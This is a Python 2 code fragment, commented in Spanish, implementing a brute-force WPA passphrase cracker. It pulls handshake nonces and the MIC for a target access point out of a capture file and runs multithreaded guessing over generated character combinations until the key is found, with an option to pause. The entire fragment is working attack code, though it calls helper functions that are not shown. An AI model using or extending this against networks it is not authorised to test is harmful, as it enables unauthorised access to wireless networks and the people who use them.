def crack_WPA_sin_dicc(capFilePath, usersMac, SSID, universo, longitud, inicio=False, fin=False, bufferSize=1231231):
    global numOfPs
    passQueue = Queue()
    foundPassQ = Queue()
    passQueue.status = "activo"
    ingresar_comb_thread = Thread(
        target=insertar_combinaciones, 
        args=(passQueue, universo, longitud),
        kwargs=({"inicio": inicio, "fin" : fin, "bufferSize": bufferSize})
    )
    ingresar_comb_thread.start()

    clients = extraer_cap_info(capFilePath)
    clientHandshakes = []
    for client in clients:
        handshake = []
        for message in clients[client]:
            if message['message'] == 1:
                handshake = [message]
            elif len(handshake) == 1:
                handshake.append(message)
                clientHandshakes.append(handshake)
                break
            else:
                handshake = []
    for clientHandshake in clientHandshakes:
        if clientHandshake[0]['AP'] == usersMac:
            threads = [
                Thread(
                    target=crackProcess, 
                    args=(
                        SSID, 
                        clientHandshake[0]['client'], 
                        clientHandshake[0]['AP'], 
                        clientHandshake[0]['Anonce'], 
                        clientHandshake[1]['Snonce'], 
                        clientHandshake[1]['mic'], 
                        clientHandshake[1]['data'], 
                        passQueue, 
                        foundPassQ
                    )
                ) 
                for x in xrange(numOfPs)
            ]
            for th in threads:
                th.start()
            shell.init_anykey()
            try:
                while True:
                    sleep(0.001)
                    os.system("clear")
                    print 'crackeando handshake...\npuedes detener el proceso presionando la letra "c" (despues podra ser reanudado)\n'
                    #TODO: IMPRIMIR AQUI INFORMACION SOBRE EL PROCESO DE CRACKEO
                    key = os.read(sys.stdin.fileno(), 1)
                    if key == 'c':
                        passQueue.status = "detener"
                        break
                    if foundPassQ.empty():
                        if passQueue.status != "activo":
                            returnVal = None
                            print "fin de sesion."
                            return
                    else:
                        passphrase = foundPassQ.get()
                        passQueue.status = "finalizado"
                        return passphrase

                shell.term_anykey()
            except Exception as e:
                shell.term_anykey()
                raise e